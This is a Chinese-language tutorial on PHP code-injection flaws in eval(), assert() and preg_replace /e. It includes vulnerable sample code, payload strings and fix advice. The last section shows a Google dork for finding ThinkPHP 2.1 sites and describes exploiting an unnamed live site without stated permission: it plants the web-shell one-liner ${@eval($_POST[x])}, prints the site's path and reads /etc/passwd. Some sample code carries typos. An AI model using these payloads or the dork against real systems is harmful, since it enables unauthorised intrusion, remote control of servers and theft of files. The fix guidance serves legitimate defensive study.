您好,登錄后才能下訂單哦!
0x00 什么是任意代碼執行
當應用在調用一些能將字符串轉化成代碼的函數(如PHP重的eval)時,沒有考慮用戶是否能控制這個字符串,將造成代碼注入漏洞。狹義的代碼注入通常指將可執行代碼注入到當前頁面中,如PHP的eval函數,可以將字符串代表的代碼作為PHP代碼執行,當用戶能夠控制這段字符串時,將產生代碼注入漏洞(也稱命令執行)。廣義上的代碼注入,可以覆蓋大半安全漏洞的分類。
0x01 為什么存在任意代碼執行
幾種常用函數語言,都有將字符串轉化成代碼去執行的相關函數。
PHP ===> eval( ),assert( )
Python ===> exec( )
Asp ===> <%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>
0x02 為什么使用執行代碼函數
應用有時候會考慮靈活性、簡潔性,在代碼中調用eval之類的函數去處理。
function string2array(%data){ if($data == '') return array(); @eavl("\$array = $data"); return $array; } //當 $data 接受的字符串是這樣時: $data = "array( 'upload_maxsize' => '2048', 'upload_allowext' => 'jpg|jpge|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf', 'watermark_enable' ==> '1', )" //通過eval()函數就可以將字符串‘array(....)’作為數組賦值給$array,這樣會大大的提升代碼的靈活性和簡潔性。
0x03 漏洞分類
eval()、assert() (不常見)
preg_replace + /e 模式
0x04 漏洞利用(本地測試)
eval() ==>
#1: <?php $data = $_GET['data']; eval("\$ret = $data;"); echo $ret; /* payload: ?data=phpinfo() ?data=1;phpinfo() ?data=${phpinfo()} ?data=${@eval($_POST[x])} #一句話***,可以用菜刀連接 */ ?> #2: <?php $data = $_GET['data']; echo "\$ret= '$data'"; eval("\$ret = strtolower('$data');"); echo $ret; /* payload: ?data=');phpinfo();// ?data=');@eval($_POST[a]);// */ ?> #3: <?php $data = $_GET['data']; eval("\$ret = strtolower(\"$data\");"); echo $ret; /* payload ?data={${phpinfo()}} ?data=1");phpinfo();// ?data=${@eval($_POST[x])} */ ?>
preg_replace() ==>
<?php $data = $_GET['data']; echo $data; preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";',$data); echo $ret; /* payload: ?data=<data>${phpinfo()}</data> 注:PHP 5.5.0 /e 修飾符已經被棄用 */ ?>
0x05 修復方案
eval() ==>
能使用json保存數組、對象就是用json,不要將PHP對象保存成字符串,否則讀取的時候就需要使用eval
對于必須使用eval的情況,一定要保證用戶不能輕易接觸eval的參數(或用正則嚴格判斷輸入的數據格式)。
對于字符串,一定要使用單引號包裹可控代碼,并在插入前進行addslashes
$data = addslashes($data)
eval("\$data = eval('$data');")
preg_replace() ==>
放棄使用preg_replace的/e修飾符
使用preg_replace_callback()替換
如果必須使用preg_replace()+e修飾符,請保證第二個參數中,對于正則匹配出的對象,用單引號包裹
0x06 實例測試
前面說了一大堆理論,現在來找個實例實際測試下。(本來想把網址公開的想想還是算了,這個漏洞的破壞性還是挺大的,就不公開了,我也怕“從web安全到派出所”......)
盡管不會公開網址,但是還會告訴大家怎么去找這種存在 任意代碼執行 的網站
ok,下面開始一步一步去實現漏洞的利用
任意代碼執行漏洞的存在環境:thinkphp 版本:2.1
google hacking 也就是谷歌搜索啊:
intext:thinkphp intext:"Fast & Simple OOP PHP Framework"intext:"2.1"
目標站點url:http://www.xxxxxx.com/xxxx/id/43.html
為什么thinkphp這個版本存在 任意代碼執行 漏洞,出現漏洞的代碼是什么我在這就不提了,大家 有興趣的可自行百度。
測試目標url:按照上面說的我們先來測試看看時候存在任意代碼執行
biubiubiu.....存在代碼執行漏洞
直接上一句話吧.....
id/{${@eval($_POST[x])}}.html
返回當前路徑:id/{${exit(print(getcwd()))}}.html
解釋下這句:getcwd() 返回當前工作路徑 print() 打印一下 exit() 停止加載,網站停止渲染只會顯示當前工作路徑
讀取文件:
id/{${exit(var_dump(file_get_contents($_POST[f])))}}.html
f=/etc/passwd
ok,現在利用完畢
本文有什么不對的地方,歡迎大家指正
歡迎大家交流學習
希望大家只用來做測試,不要搞破壞。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。